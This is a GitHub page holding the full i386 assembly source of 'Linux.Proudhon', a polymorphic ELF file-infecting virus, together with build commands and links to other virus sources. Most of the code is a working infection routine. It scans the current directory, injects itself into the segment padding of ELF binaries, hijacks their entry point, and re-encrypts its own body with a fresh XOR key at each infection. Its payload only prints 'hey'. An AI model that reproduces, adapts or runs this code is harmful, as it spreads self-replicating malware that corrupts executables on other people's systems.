-
Notifications
You must be signed in to change notification settings - Fork 236
/
Linux.Proudhon.i386.asm
395 lines (328 loc) · 9.26 KB
/
Linux.Proudhon.i386.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
;####################################
;## A 32 bit Polymorphic ELF virus ##
;## By S01den ##
;####################################
; .____ .__ ________ ________ __________ .___.__
; | | |__| ____ \_____ \ \_____ \ \______ \_______ ____ __ __ __| _/| |__ ____ ____
; | | | |/ \ _(__ < / ____/ | ___/\_ __ \/ _ \| | \/ __ | | | \ / _ \ / \
; | |___| | | \/ \/ \ | | | | \( <_> ) | / /_/ | | Y ( <_> ) | \
; |_______ \__|___| /______ /\_______ \ /\ |____| |__| \____/|____/\____ | |___| /\____/|___| /
; \/ \/ \/ \/ \/ \/ \/ \/
; Infection through segment padding infection + polymorphism. Made with love by S01den
; Can only infect binary with an executable stack, because polymorphism routine operates on the stakc...
; The encryption is just a simple xor, with a random key generated with a Linear Congruential Generator (LCG) for every new infection.
;#################################### USEFUL LINKS ####################################
;# http://ivanlef0u.fr/repo/madchat/vxdevl/vxsrc/Linux/Linux.Cyneox/Linux.Cyneox.asm #
;# http://ivanlef0u.fr/repo/madchat/vxdevl/vxsrc/Linux/Linux.Binom/Linux.Binom.asm #
;# http://shell-storm.org/shellcode/files/syscalls.html #
;######################################################################################
;nasm -f elf32 proudhon.asm && ld -m elf_i386 proudhon.o -o proudhon
;---------------------------------- CUT HERE ----------------------------------
; thoses variables concern the virus body, not the decipher loop
%define VIRSIZE 803
%define SIZE_DECIPHER 0x35
%define DELTA_CODE 0x2f1
%define RET_OEP VIRSIZE+SIZE_DECIPHER+3
; variables for the linear congruential generator (to generate a random key)
; same as C++11's minstd_rand
%define a_lcg 48271
%define modulus_lcg 0x7fffffff
section .text
global _start
_start:
mov ecx, VIRSIZE
add ecx, 0x3f ; SIZE_DECIPHER+9
loop:
call get_eip
sub eax, 0xd
mov esi, eax
mov al, byte [esi+ecx-1]
cmp ecx, 0x352 ; because the code to jump into the OEP have to be plain
jae set_byte
cmp ecx, SIZE_DECIPHER ; because this routine and get_eip have to be plain
jbe set_byte
xor al ,0x00
set_byte:
mov byte [esp+ecx-1], al
dec ecx
jnz loop
add esp, SIZE_DECIPHER
jmp esp
get_eip:
mov eax, [esp]
ret
vx:
add esp, VIRSIZE
add esp, SIZE_DECIPHER
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov edx, VIRSIZE
push edx ; push the len of the virus on the stack
add esp, 0x20
getFiles:
mov eax,183 ; pwd
mov ebx,esp
mov ecx,128
int 0x80
mov eax, 5 ; open
mov ecx, 0
mov edx, 0
int 0x80
cmp eax, 0
jl exit
mov ebx, eax ; getdents
mov eax, 141
mov edx, 1024
push esp
mov ecx, [esp] ; a little trick to save a spot on the stack
int 0x80
mov eax, 6 ; close
int 0x80
mov esp, ecx
xor edi, edi
xor ecx, ecx
xor ebx, ebx
mov esi, edx
xor edx, edx
parse_dir: ; a dump trick to get filenames from the previous getdents
inc esp
xor eax, eax
cmp byte [esp], 0x00
jne not_zero
cmp ecx, 2 ; if there are more than two successive printable bytes followed by a null byte, we consider the string a filename
ja infect ; so we try to infect it.
not_zero:
mov bl, byte [esp]
cmp bl, 0x20 ; check if the byte is printable
jbe not_filename
cmp bl, 0x7e
jae not_filename
inc ecx
keep_parsing:
inc edi
cmp edi, 0x150
jae exit
jmp parse_dir
not_filename:
xor ebx, ebx
xor ecx, ecx
jmp keep_parsing
infect:
mov ebx, ecx
sub esp, ecx
setFileName:
mov eax, 5 ; open
mov ebx, esp
push ebp
mov ebp, ecx
mov ecx, 2 ; O_RW
xor edx, edx
int 0x80
cmp eax, 0
jl restore_esp
push eax
push eax
stat:
; to get the length of the file to infect
mov eax,106 ; SYS_STAT
sub esp,64
mov ecx,esp
int 0x80
mov edx,[esp+20] ; edx = len of file to infect
add esp,64
pop ebx
push edx
add esp, 0x400
mov eax, 3 ; read
mov ecx, esp ; the stack now contains the whole content of the file we try to infect
int 0x80
cmp eax, 0
jl parse_dir
parse_file:
push edx
push edx
push edx
add esp, 0xc
get_magic:
cmp dword [esp], 0x464c457f ; check if the file is an ELF
je get_signature
sub esp, 0x3f4
call close
call clean
jmp parse_dir
get_signature:
xor ecx, ecx
mov cx, word [esp+0x18] ; get e_phnum "Contains the number of entries in the program header table. "
mov eax, dword [esp+0x1C] ; get e_phoff "Points to the start of the program header table." (which contains the segments infos)
; for segment padding infection, we look at the space between the text and the data segment
mov ecx,[esp+eax+0x20*3+8] ; get data vaddr
mov ebx,[esp+eax+0x20*2+16] ; get text size
mov eax,[esp+eax+0x20*2+8] ; get text vaddr
add ebx, eax ; ebx = text.vaddr+text.filesz
sub ecx,ebx ; data.p_vaddr - (text.p_filesz + text.p_vaddr)
mov eax,VIRSIZE
cmp eax, ecx
ja no_room
mov eax,[esp+0x18] ;get entry point
push eax
add ebx, 15
mov eax, dword [esp+0x1C+4]
mov eax,[esp+eax+0x20*2+8+4]
mov [esp+0x18+4], ebx ; write the new EP (new entrypoint = text.p_filesz + text.p_vaddr)
sub ebx, eax ; get the offset of the new EP
mov eax, ebx
push eax
add esp, eax
mov esi, eax
cmp dword [esp+7], 0x323b900 ; check if the bytes at the entry point are the same as in every file infected (0x323b900 = mov ecx,VIRSIZE). It's kind of a signature.
je already_infected
; we put on the stack the code to return to the OEP
mov byte [esp], 0xbd ; -
sub esp, eax ; | - Get the OEP from the stack and put it into ECX
pop ebx ; | |
pop ecx ; | |
push ebx ; | |
add esp, eax ; | |
sub esp, 4 ; | -
mov [esp+1], ecx ; - mov ebp, OEP
mov word [esp+5],0xe5ff ; jmp ebp
writeVirus:
;####### insert the code to restore the OEP #######
xor edx, edx
mov ebx, 3
mov ecx, eax
mov eax, RET_OEP
add ecx, eax
mov eax, 19 ; lseek
int 0x80
mov ecx, esp
mov eax, 4 ; write
mov edx, 7
int 0x80
;####### write the new EP #######
xor edx, edx
mov ecx, 0x18
mov eax, 19
int 0x80
add esp, 8
sub esp, esi
mov ecx, esp
add ecx, 0x18
mov edx, 4
mov eax, 4
int 0x80
;####### write the virus #######
mov ebx, 3
xor edx, edx
mov ecx, esi
mov eax, 19
int 0x80
call get_eip
mov bl, byte [eax-0x1e2] ; get the current key
push eax
xor eax, eax
mov al, bl
; Linear Congruential Generator (I use this algorithm because it's an easy way to generate entropy)
lcg:
inc al
inc al
mov ecx, a_lcg
mul eax
xor edx, edx
mov ebx, modulus_lcg
div ebx
pop eax
mov byte [eax-0x1e2], dl
; edx now contains the remainder of the operation (X_n+1 = (aX_n+c) % modulus), so edx is the new key
call clean
get_decipher: ; get the decipher routine (which contains the new key)
call get_eip
sub eax, 0x236
mov cl, byte [eax+ebx]
mov byte [esp+ebx], cl
inc ebx
cmp ebx, SIZE_DECIPHER
jne get_decipher
call clean
jmp getVirus
write_vx_code:
call clean
mov bl, byte [esp+0x24] ; get the key
mov edx, VIRSIZE
encrypt: ; encrypt the virus body with the new key
mov cl, byte [esp+SIZE_DECIPHER+eax]
xor ecx, ebx
mov byte [esp+SIZE_DECIPHER+eax], cl
inc eax
cmp eax, edx
jne encrypt
mov ecx, esp
mov ebx, 3
mov edx, VIRSIZE
add edx, SIZE_DECIPHER
mov eax, 4
int 0x80
sub eax, SIZE_DECIPHER
cmp eax, VIRSIZE
jb exit
ok_write:
sub esp, 0x3f0
call close
call clean
jmp parse_dir
no_room:
sub esp, 0x3ee ; to go back into the getdents content
call close
call clean
jmp parse_dir
already_infected:
sub esp, 0xa55 ; to go back into the getdents content
call close
call clean
jmp parse_dir
exit:
call close
call payload
call clean
call get_eip
add eax, 0x7a ; go to the restore OEP code
jmp eax
clean:
xor ecx, ecx
xor ebx, ebx
xor eax, eax
xor edx, edx
ret
close:
mov eax, 6
int 0x80
ret
payload: ; just print a "hey"
push 0
push 0x796568
mov ecx, esp
mov eax, 4
mov ebx, 1
mov edx, 4
int 0x80
pop ecx
pop edx
call clean
ret
restore_esp:
add esp, ebp
pop ebp
jmp parse_dir
getVirus: ; a simple method I found which permits to get the whole virus code thanks to the current EIP
call get_eip
sub eax, DELTA_CODE
mov cl, byte [eax+ebx]
mov byte [esp+SIZE_DECIPHER+ebx], cl
inc ebx
cmp ebx, VIRSIZE
jne getVirus
call clean
jmp write_vx_code
;--------------------------------------------------------------------------------------------------------------------------